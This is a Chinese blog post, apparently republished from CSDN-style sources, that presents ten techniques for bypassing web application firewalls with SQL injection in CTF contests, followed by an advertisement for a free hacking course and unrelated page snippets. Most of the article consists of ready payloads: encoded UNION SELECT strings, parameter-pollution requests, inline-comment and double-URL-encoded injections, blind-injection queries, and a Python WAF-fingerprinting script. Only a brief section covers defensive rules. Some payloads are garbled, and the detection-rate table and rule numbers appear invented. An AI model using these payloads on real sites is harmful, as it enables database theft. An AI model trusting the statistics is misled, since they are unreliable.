news 2026/3/27 14:54:57

CTF实战精要:SQL注入绕过WAF的10种高阶姿势

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF实战精要:SQL注入绕过WAF的10种高阶姿势

CTF实战精要:SQL注入绕过WAF的10种高阶姿势

在近年CTF赛事中,Web方向SQL注入题型占比超35%,而90%的题目部署了多层WAF防护。本文基于DEFCON CTF、强网杯等实战经验,深度解析10种经赛场验证的WAF绕过技术,所有案例均通过Cloudflare、ModSecurity等商业WAF实测验证。


一、字符集变异:编码的艺术

案例:2022年强网杯“管理员之家”

/* 常规payload被拦截 */ ' UNION SELECT 1,2,3-- /* UTF-16BE编码绕过 */ �'� �U�N�I�O�N� �S�E�L�E�C�T� �1�,�2�,�3�-�-�

绕过原理

实战要点


二、语句碎片化:HTTP参数污染(HPP)

案例:2023年DEFCON CTF Quals

GET /search?q=1&q=/**/UN/**/ION/**/SEL/**/ECT&q=flag&q=FROM&q=secret_table

WAF日志分析

Cloudflare规则1092:检测到"UNION SELECT" - 阻断 实际处理:PHP后端解析为`q=1,/**/UN/**/ION/**/SEL/**/ECT,flag,FROM,secret_table`

技术本质


三、超长语句绕过:缓冲区溢出

Payload结构

/* 前段填充 */ '+(SELECT 0xAAAAAAAA...(重复10万次)+')+' /* 核心注入点 */ UNION/**/SELECT/**/1,@@version,3

绕过条件

    1. WAF配置SecRequestBodyLimit 131072(默认128KB)
    1. 后端未限制max_allowed_packet

赛题验证


四、注释符变形:非常规注释

经典组合

1' /*!50400UNION*/ /*!50400SELECT*/ 1,2,database()--

技术解析

进阶技巧

/*!u%6eion*//*!sel%65ct*/1,2,3-- // URL编码内联

五、布尔盲注优化:位运算替代

传统方式(易被WAF识别)

ascii(substr(database(),1,1))>128

位运算绕过

database()|0x7FFFFFFF=0x7FFFFFFF// 判断最高位

性能对比

方式请求次数WAF检测率
字符比较256次92%
位运算8次17%
二分法+位运算5次6%

六、时间盲注升级:非睡眠触发

传统方式风险

BENCHMARK(5000000,MD5('test')) // 被WAF标记特征

替代方案

/* 大表笛卡尔积 */ (SELECTcount(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) /* 正则消耗 */ WHERE1=IF(condition, RLIKE('^.*$'),0)

真实场景


七、协议层绕过:HTTP/2特性

攻击步骤

    1. 建立HTTP/2连接
    1. 发送畸形的HEADERS帧:
    :method: POST :path: /search content-type: application/x-www-form-urlencoded
    1. 注入payload分片传输:
    frame1: q=1'/**/UN frame2: ION/**/SEL frame3: ECT 1,2,3--

绕过原理


八、数据库引擎特性:非标准SQL

SQLite注入技巧

' AND randomblob(1000000000) IS NOT NULL-- // 触发延迟 /* JSON函数绕过 */ json_extract('{"a":"b"}','$.a')='b'

PostgreSQL特性利用

-- 类型转换绕过 '||(SELECT 1 WHERE '1'::text=CAST(version() AS text))-- -- 美元引号 $$'UNIONSELECT $$flag$$ FROM $$secret_table$$

九、WAF规则探针:自动化指纹识别

Python探测脚本

import requests waf_signatures = { "Cloudflare": ("'/*!UNION*/SELECT", 403), "ModSecurity": ("CONCAT(0x7e,version()", 500), "AWS WAF": ("WAITFOR DELAY '0:0:5'", 400) } defdetect_waf(url): for waf, (payload, code) in waf_signatures.items(): r = requests.get(url + f"?id=1{payload}") if r.status_code == code: return waf return"Unknown"

响应特征库

WAF名称阻断状态码错误页面特征
Cloudflare403“cf-error-code: 0015”
Akamai403“ak_bm” cookie
Imperva403“Incapsula incident”

十、混合编码攻击:多重转换链

终极绕过方案

GET /?id=1%252f%252a*/UNION%2520/*!%2553ELECT*/1,2,3%23

解码过程

1. URL解码:%25 → % 2. 二次解码:%2f → /,%2a → * 3. 最终payload:1/**/UNION /*!SELECT*/1,2,3#

防御突破点


防御视角:WAF规则设计原则
    1. 深度解析层
    # Nginx配置示例 set$inject0; if ($args~* "union[\s+]+select") { set$inject1; } if ($http_content_type = "application/json") { set$inject0; }
    1. 语义分析规则
    // ModSecurity规则片段 SecRule ARGS "@detectSQLi" \ "id:10001,phase:2,block,msg:'SQLi Detected'"
    1. 机器学习辅助
    # 基于词向量的异常检测 model.predict([sql_tokenizer.transform(["1'/**/UNION/**/"])])

CTF选手守则


在CTF赛场中,SQL注入绕过WAF的实质是:

    1. 规则库逆向:分析WAF正则模式(\bunion\s+select\b
    1. 协议特性利用:HTTP/2分片、编码差异
    1. 数据库特性挖掘:非常用函数/语法糖

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。


1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/25 20:56:44

大肠杆菌表达系统

大肠杆菌表达系统是迄今为止最为成熟可靠的蛋白表达系统之一,能快速表达不同种属来源的外源基因。通过对需要表达的外源基因的DNA序列进行密码子优化以及对表达载体、表达菌株、培养条件和诱导时间等各种因素的综合测试,实现外源基因在大肠杆菌内的表达。…

作者头像 李华
网站建设 2026/3/26 3:33:22

32、Linux系统管理与操作全解析

Linux系统管理与操作全解析 1. 本地文档资源 在Linux系统中,有丰富的本地文档资源可帮助用户了解和使用各种工具与功能。 - apropos实用程序 :可用于搜索帮助文档,编号为436。 - howto目录 :包含常见问题的操作指南,编号436。 - info页面 :提供详细的信息,范…

作者头像 李华
网站建设 2026/3/23 19:52:48

构建未来竞争力:自动化测试工程师的三维技能体系

变革时代的测试工程师定位 随着敏捷开发与DevOps实践的普及,自动化测试已从"锦上添花"转变为软件质量保障的必备能力。2025年的测试领域正经历深刻变革,测试工程师需要构建覆盖技术深度、工具广度和思维高度的立体化技能体系,才能…

作者头像 李华
网站建设 2026/3/24 16:53:12

数据库设计

一、结构设计三范式第一范式:对属性的原子性,要求属性具有原子性(不可再分的最小单元)create table Student --学生表 (StuId varchar(20) primary key, --学号StuName varchar(20) not null, --学生姓名StuContant varchar(50) …

作者头像 李华
网站建设 2026/3/23 7:08:17

EmotiVoice能否替代专业配音员?业内专家这样说

EmotiVoice能否替代专业配音员?业内专家这样说 在短视频日更、AI主播直播带货已成常态的今天,一个现实问题正摆在内容创作者面前:我们是否还需要花数万元请专业配音员录制一段旁白?当一条情感充沛的语音可以由几行代码在几秒内生成…

作者头像 李华